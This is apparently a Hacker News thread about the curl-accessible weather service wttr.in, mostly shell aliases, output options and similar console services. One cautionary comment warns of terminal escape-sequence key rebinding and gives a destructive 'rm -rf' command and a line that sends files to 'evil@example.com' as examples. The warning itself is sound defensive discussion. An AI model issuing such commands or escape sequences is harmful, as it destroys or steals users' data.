14 ms·
Curl Wttr.in
- tomjakubowski 6y agoRendering a richer UI for curl users with terminal escapes is brilliant! Has this been done elsewhere?
- progval 6y agohttps://github.com/chubin/awesome-console-services https://github.com/chubin/awesome-console-services
- vmception 6y agookay, thats pretty cool. this art and utility shouldn't have fallen by the way side
- mbreese 6y agoI also like how you can add zipcodes or location names as a path and it returns that. At least it works with zipcodes, cities, airport codes, landmarks. Not sure what else. Using this, I found out it was currently raining in Paris. And then saw that the thunder was rendered as emojis. I wonder what other options there are... for example, I'm in the US, so it returns temperature in Fahrenheit even if I requested information about France. Are there options to change this? But, all in all, this is really nice and polished.
- williamjackson 6y agoThe README explains that you can get Celsius by appending `?m` to your query.
- jamesponddotco 6y agoThere are quite a few options, it is pretty cool. You can check them out by hitting the :help endpoint[1]. I usually call it with a few of them to make the output cleaner, and without colors[2]. curl --compressed https://wttr.in/"$location"?QTAF https://wttr.in/"$location"?QTAF Where `$location` is either the location you want the weather for, or an IP address. [1] https://wttr.in/:help https://wttr.in/:help [2] https://git.sr.ht/~jamesponddotco/dotfiles/tree/master/.local/bin/weather https://git.sr.ht/~jamesponddotco/dotfiles/tree/master/.loca...
- hirundo 6y agoIt'd be nice to be able to point to be able to point this to my backyard weather station, via wunderground or such.
- noahmasur 6y agoLove this! Every day I find fewer reasons to ever leave my terminal.
- seanlaff 6y agoI’ve been curling this for years but was not aware of the new v2 api that shows hourly ascii charts. Looks sweet!
- jstarks 6y agoA good opportunity to remind everyone that we finally inboxed curl into Windows 10, so this works (with color output) from a stock Windows command prompt. Better late than never, I hope.
- notactually0 6y agoCan you explain more about why you thought this was a good opportunity to interject an advertisement for your product?
- nexuist 6y agoIsn't Windows 10 free?
- mmm_grayons 6y agoNo, it's priced into most computers. Retail costs over $100 last I checked (and more for pro), though OEMs pay cheaper prices for that sort of volume. There are also sketchy keys available for ~$20.
- blacksmith_tb 6y agoSort of? You can install without a key, and other than a little 'watermark' in the corner of the screen (and being prevented from changing the wallpaper) it will get updates and work normally.
- colinmhayes 6y agothere are ebay keys for a couple dollars
- throwaway8941 6y agoFor the life of me I cannot understand why would anyone waste their money on such keys. Usually those are volume licenses being sold separately, which is not legal and does not provide you with a valid license. If one is intent on breaking the law anyway, one can save those two bucks and use of the many safe activation methods which do not require installing anything on your machine.
- deleted 6y ago[deleted]
- mintplant 6y agoA while back I made something along similar lines, though not quite as useful. curl https://poptart.spinda.net
- peterburkimsher 6y agoWhen I type "cat" in the terminal, this is what I expect to see.
- DarkWiiPlayer 6y agoalias cat='curl https://poptart.spinda.net' https://poptart.spinda.net'
- oars 6y agoThat's great, content like this is why I browse hackernews. As someone who is still relatively new to tech, how did you make this? You even somehow turned my black terminal screen to dark blue, even after I stopped the curl process!
- indigo945 6y agoTerminal colors can be controlled using ANSI color codes. Since curl just outputs everything it receives directly to the tty, if the server response contains ANSI, your terminal will render it.
- beilabs 6y agoWelcome to my alias list. This provides better weather information than local news websites who have dedicated pages. That said, I'm in a developing country where it's just monsoon all the damm time :D
- I_complete_me 6y agoBeen using it for years here in Ireland. I have the following: alias wett='curl wttr.in/limerick'. :-)
- igor_chubin 6y agoTry this: curl ga.wttr.in/limerick
- Awelton 6y agoI use this so much that if I start to curl something else I type wttr after it from muscle memory and have to delete it.
- fredfsh 6y agoAwesome! Resolves ambiguity pretty well.
- nergal 6y agoIt's really nice but I started to use this a year ago and had to stop because they always ran out of resources. Hopefully this is fixed since it's such a nice and easy service!
- rsapkf 6y agoI use this all the time. I find this option pretty neat: curl wttr.in/Moon Shows current lunar phase. I use Termux[0] on my phone with curl installed. Pretty handy. Also, check out rate.sx[1] from the same author: curl rate.sx Shows information about current exchange rates of cryptocoins. More similar console services: https://github.com/chubin/awesome-console-services https://github.com/chubin/awesome-console-services [0]: https://termux.com/ https://termux.com/ [1]: https://github.com/chubin/rate.sx https://github.com/chubin/rate.sx
- matt_LLVW 6y agoshameless plug: https://e.xec.sh https://e.xec.sh
- DarkWiiPlayer 6y agoheh... visited that link and tried it; then I remembered that I sit behind a proxy. Guess what happens when a proxy first caches the entire responwe of that page and then sends it to the client all at once? :D
- irs 6y agoanother shameless plug: curl ipaddress.sh
- notRobot 6y agoalso curl findip.win
- BoDlulu 6y agoJust FYI this doesn't seem to work with MacOS's default Terminal app. I guess it doesn't support 256 colors or something.
- hitpointdrew 6y agoAlso very useful: curl ifconfig.co (shows your public ip)
- KitDuncan 6y agoHas nobody mentioned, that this is just wego as a service?
- szszrk 6y agoTheir github page explains this early in project page, so no harm done, I guess?
- KitDuncan 6y agoOops, don't know how I missed that. Sorry!
- igor_chubin 6y agoTo say truth, it is not just a wego as a service since many years, but is started like that indeed Now it has a lot of additional features: * one-line output for status lines * astronomical information * translation to 70+ languages * geolocation * full fledged multilingual location search * HTML frontend * PNG frontend * Slack support * scalable architecture (it handles 10M+ queries daily for the moment of writing, with avg processing time under 30 msec) It took one weak for the initial wego-as-a-service wrapper implementation, and more than 4 years (and 99 contributors) for the rest. But we of course honor wego, and mention it in the README, and on each HTML page in browser
- elcomet 6y agoNice ! Did you contribute back your improvements to wego ?
- igor_chubin 6y agoNo, because they are not implemented as a part of wego; wego is used just for visualization of one of the views (v1). The rest is implemented outside of it
- suprfnk 6y ago
- jtokoph 6y agoThis scared me the first time I tried it because the output was perfectly sized to my terminal. I couldn't fathom how it was possible for the server to know my terminal width. It turns out my terminal was set at 125 characters wide and wttr.in outputs a 125 character width display.
- Drdrdrq 6y agoCurious - wouldn't it be possible to output terminal escape characters to perform some "magic" like moving at the end of the line? Or does curl protect users by not outputting them? (I think not, because fetching a binary file by mistake sometimes garbles the output)
- igor_chubin 6y agoIt is possible, but it brings nothing, because you don't only need to move to the end of the line but print something in between, and for that the server mush know the width of your terminal
- teddyh 6y agoI will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.
- progval 6y ago> those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”. oh my god. From http://www.termsys.demon.co.uk/vtansi.htm http://www.termsys.demon.co.uk/vtansi.htm : > Set Key Definition <ESC>[{key};"{string}"p > Associates a string of text to a keyboard key. {key} indicates the key by its ASCII value in decimal. But I can't reproduce it; in my terminal (gnome-terminal), `print('\x1b[97;"echo foo"p')` just shows `cho foo"p`. So it looks like not all terminals implement it, if any?
- JoshTriplett 6y agoNo modern terminal implements any of the dangerous escape sequences.
- mdip 6y agoAs the other poster mentioned, I'm not aware of any terminal that allows these sequences these days. This wasn't an uncommon thing back in the 90s with DOS ANSI art. I'm not sure if the original ANSI.SYS included with DOS 5/6 but there was a period of time where people remapped things like "echo y|format c:" using ANSI that only required one to "type somefile.ans/txt". The "fix" was to use an accelerated ANSI driver that dropped key-remapping.
- mleonhard 6y agoCan you share some information about which terminal applications may be vulnerable to this?
- teddyh 6y ago
- lazyjones 6y agoWould be nice to have Sixel/iTerm output, but almost 40 years after most computers could do split text/graphics modes, nobody uses these and we're looking at ASCII graphics instead... Might want to look at using ℃ and Emoji though for people with modern terminals.
- SifJar 6y agoLooks like lightning breaks the formatting a little, at least for me. Otherwise, very cool. Guessing lighting is a unicode char & not being counted "correctly", which I believe is a challenging thing
- igor_chubin 6y agoThe problem is that it depends on the terminal, and you can render this character properly for all 100% of the terminals on the server side
- herjazz 6y agoAny other similar services for the terminal out there?
- igor_chubin 6y agocurl cheat.sh curl rate.sx curl qrenco.de and the rest from https://github.com/chubin/awesome-console-services https://github.com/chubin/awesome-console-services
- hn3333 6y agoVery cool, if i could suggest improvements it would be another view that shows some sort of line graph of temperature and rain and sunshine hours. Also thanks for the T option - useful if your terminal has a white background( like Apple's default).
- igor_chubin 6y agocurl v2.wttr.in and for the white background: curl wttr.in/?I
- narven 6y agoperfect command for a bash alias alias godstatus='curl wttr.in'
- dredmorbius 6y agoMake it a shell function and you can parameterise invocation. weather () { curl http://wttr.in/${1:-LAX} }
- ikornaselur 6y agoThis is one of those services that I love when I find them, use extensively for the next 30 minutes and forget about. But I keep coming back to it! I even spent a time to make a simple function in my shell to cut off the output after today and accept a location name w () { curl -s "wttr.in/$1?M1q" | head -17 } and then I can just do w london to get the weather for London today. But, like most of the functions/aliases I create, I can't remember the last time I used it (except couple of times when I see someone talking about it and I remember about it)
- igor_chubin 6y agoJust add `F` to the options, and you don't need `| head -17` then
- martijn9612 6y agoI wasn't sure what F you were talking about, if other people are wondering, the new command would be: w () { curl -s "wttr.in/$1?M1qF" }
- ikornaselur 6y agoOh, awesome! I don't know if they added this after I created the function or if I just didn't notice it. EDIT: I just realised that "they" is actually you!
- mimimi31 6y agoYou could do something like this w () { curl -s "wttr.in/${*// /+}" } to make it work with places that have spaces in their name. E.g. w new york
- igor_chubin 6y agoJust use IFS for this w() { ( IFS=+; curl wttr.in/"$*";); }
- 6y ago
- vmurthy 6y agoNeat script! On a related note and something I use more frequently : curl ifconfig.me Easy way to find the public IP :)
- oedmarap 6y agoShameless plug: curl ipaddy.net Returns public IP address, ISO country code, User-Agent string, and a new line (to ensure the terminal prompt doesn't get shifted after displaying the response).[0][1] - [0] https://use.ipaddy.net https://use.ipaddy.net - [1] https://github.com/oedmarap/ipaddy https://github.com/oedmarap/ipaddy
- igor_chubin 6y agoI hoe it is listed at https://github.com/chubin/awesome-console-services https://github.com/chubin/awesome-console-services
- hashmush 6y agoI use icanhazip.com
- DNied 6y agoAnother cool command-line weather service: finger city@graph.no also includes forecasts (try city+24).
- deleted 6y ago[deleted]
- runxel 6y agoWhat I am most amazed of is how they manage to get my actual location always right... I mean, we all now those "geolocate me" things on websites, but I've never encountered a single page where it worked; it's always hilariously all over the place (shows the headquarter of my provider, or just locates me in Frankfurt at the DE-CIX). But wttr.in is different. I wonder what the magic ingredient is and why no one else seemingly has it.
- nvarsj 6y agoIt depends entirely on the geolocation database being used to map your IP address to location. wttr.in seems to use https://www.ip2location.com/ https://www.ip2location.com/ so maybe they have better mappings for your ISP. Bigger providers tend to use Akamai or similar.
- antpls 6y agoIt would be cool to have a curl-able service directory of those services on the web, and also a standard way to know the quota of refresh, and some standard /help URL to know more about the options
- igor_chubin 6y agocurl wttr.in/:help and the curlable directory is almost there As an interim solution, you can use this: curl https://raw.githubusercontent.com/chubin/awesome-console-services/master/README.md
- Jaruzel 6y agoI love this on Linux, but it is also a good example of how awful the standard Windows command prompt is at formatting :(
- justaj 6y agoOne of the downsides is that if you have curl set to not use a user agent, it (along with many such services) won't work. So curl --user-agent "" wttr.in just serves you unformatted HTML.
- igor_chubin 6y agoJust use curl --user-agant "" wttr.in?A for that. The `A` option enforces ANSI output (curl wttr.in/:help for more)
- justaj 6y agoOh nice, thanks! I wish more services would do that. (btw there's a typo, should be --user-agent)